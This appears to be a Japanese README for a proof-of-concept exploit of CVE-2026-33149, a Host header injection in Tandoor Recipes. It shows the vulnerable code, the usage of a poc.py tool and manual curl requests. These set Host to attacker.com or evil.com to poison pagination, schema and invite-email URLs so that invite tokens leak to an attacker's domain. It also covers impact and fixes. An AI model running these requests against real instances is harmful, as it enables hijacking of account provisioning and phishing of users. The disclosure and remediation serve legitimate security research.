
CVE-2026-33149の概念実証エクスプロイト。Tandoor RecipesにおけるHostヘッダーインジェクションで、招待リンクのポイズニングとキャッシュポイズニングを可能にします。ホスト受入、ページネーション、スキーマ、招待ポイズニング用のモジュールを含みます。
Tandoor Recipes は settings.py 内でデフォルトの ALLOWED_HOSTS = '*' を設定しており、Django が HTTP Host ヘッダーのを検証なしで受け入れる原因となっています。このアプリケーションは、複数のセキュリティ上重要なコンテキストで絶対 URL を生成するために を使用しています。細工された ヘッダーを含むリクエストを送信できる攻撃者は、サーバーが生成するすべての URL を攻撃者が管理するドメインにリダイレクトさせることができます。
request.build_absolute_uri()Host最も重大な影響は招待リンクのポイズニングです: 管理者がユーザー招待を作成すると、サーバーが送信するメールには攻撃者のドメインを指すリンクが含まれます。被害者が正規に見えるメールをクリックすると、招待トークンが流出し、攻撃者はそれを利用してアカウントプロビジョニングフローを乗っ取ります。
| フィールド | 値 |
|---|---|
| CVE ID | CVE-2026-33149 |
| GHSA | GHSA-x636-4jx6-xc4w |
| CWE | CWE-644 — スクリプト構文に対する HTTP ヘッダーの不適切な無害化 |
| CVSS v3.1 | 8.1 HIGH — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N |
| 影響を受けるバージョン | Tandoor Recipes ≤ 2.5.3 |
| ベンダー | TandoorRecipes/recipes |
ファイル: recipes/settings.py:118
ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*') # default: wildcard
Django の ALLOWED_HOSTS は、Host ヘッダーをホワイトリストに対して検証するセキュリティ対策です。ワイルドカード '*' はこの検証を完全に無効化し、任意の値を受け入れます。
ファイル: cookbook/serializer.py:1852-1853
message += _('Click the following link to activate your account: ') + self.context[
'request'].build_absolute_uri(
reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'
request.build_absolute_uri() は request.get_host() を使用して URL を構築します。ALLOWED_HOSTS が制限していない場合、これは生の Host ヘッダー値を返します。招待 UUID(秘密トークン)は、攻撃者を指す URL に埋め込まれます。
next/previous URL に build_absolute_uri() を使用┌──────────┐ ① 細工されたリクエスト ┌─────────────────┐
│ 攻撃者 │ ──────────────────────────────→│ Tandoor サーバー │
│ │ Host: attacker.com │ ALLOWED_HOSTS=*│
└──────────┘ └────────┬────────┘
│
② build_absolute_uri()
"attacker.com" を使用
│
▼
┌────────────────┐
│ SMTP サーバー │
└────────┬───────┘
│
③ ポイズニングされたリンクを含むメール:
http://attacker.com/invite/<uuid>
│
▼
┌────────────────┐
│ 被害者 │
│ (リンクをクリック)│
└────────┬───────┘
│
④ UUID が攻撃者に送信
│
▼
┌────────────────┐
│ 攻撃者 │
│ 実サーバーで │
│ UUID を使用 │
└────────────────┘
requests ライブラリpip install requests
# ベーシック認証で全検証モジュールを実行
python3 poc.py --target http://localhost:8085 \
--basic-auth admin:password \
--attacker evil.com \
--module all
# セッションクッキーで全モジュールを実行
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module all
# 招待リンクのポイズニングのみ
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module invite \
--email [email protected] \
--group-id 1
| モジュール | 説明 |
|---|---|
host-accept | ターゲットが任意の Host ヘッダーを受け入れることを検証(ALLOWED_HOSTS = '*') |
pagination | API ページネーション URL が注入されたドメインを反映することを確認 |
schema | OpenAPI スキーマのサーバー URL が注入されたドメインを反映することを確認 |
invite | ポイズニングされた招待リンクを作成 — 主要な攻撃ベクトル |
all | すべてのモジュールを順次実行 |
1. Host ヘッダーの受け入れ
curl -s -o /dev/null -w "%{http_code}" \
http://TARGET:8085/api/user/ \
-H "Host: attacker.com" \
-u "admin:password"
# 期待値: 200 (脆弱) | 400 (パッチ適用済み)
2. ページネーション URL の反映
curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" \
-H "Accept: application/json"
# 期待値: {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}
3. スキーマ URL の反映
curl -s http://TARGET:8085/api/schema/ \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" | grep -o "http://[^ \"]*" | head -3
# 期待値: http://evil.com/...
4. 招待リンクのポイズニング
curl -s http://TARGET:8085/api/invite-link/ \
-X POST \
-H "Content-Type: application/json" \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "X-CSRFToken: CSRF" \
-H "Host: attacker.com" \
-d '{"email":"[email protected]","group":{"id":1},"valid_until":"2027-01-01"}'
# 被害者はメールを受信: "Click: http://attacker.com/invite/<uuid>"
| 影響領域 | 説明 | 深刻度 |
|---|---|---|
| 招待トークンの乗っ取り | 攻撃者がポイズニングされたメールリンク経由で招待 UUID を取得し、アカウントプロビジョニングを乗っ取る | Critical |
| 認証情報のフィッシング | 被害者は正規の登録ページを期待して攻撃者制御のドメインに誘導される | High |
| キャッシュポイズニング | キャッシュプロキシを使用するデプロイメントでは、単一のポイズニングされたレスポンスが全ユーザーのキャッシュを汚染する | High |
| API クライアントの誤誘導 | ページネーションとスキーマ URL が API 利用者を攻撃者のインフラにリダイレクトする | Medium |
ALLOWED_HOSTS を設定して、有効なホスト名を明示的にリストします:
# docker-compose.yml または .env
ALLOWED_HOSTS=recipes.yourdomain.com,localhost
Host ヘッダーを持つリクエストを拒否するように Nginx/Apache を設定USE_X_FORWARDED_HOST = False — Django が信頼できないソースからの X-Forwarded-Host を信頼しないことを確認(デフォルトは False)request.build_absolute_uri() に依存する代わりに、メールリンク生成に明示的な SITE_URL 設定を使用この概念実証は、認可されたセキュリティテストおよび教育目的のみで提供されています。コンピュータシステムへの不正アクセスは違法です。著者は、このツールの誤用について一切の責任を負いません。
Filipe Gaudard — Offensive Security Researcher | eWPT | eWPTx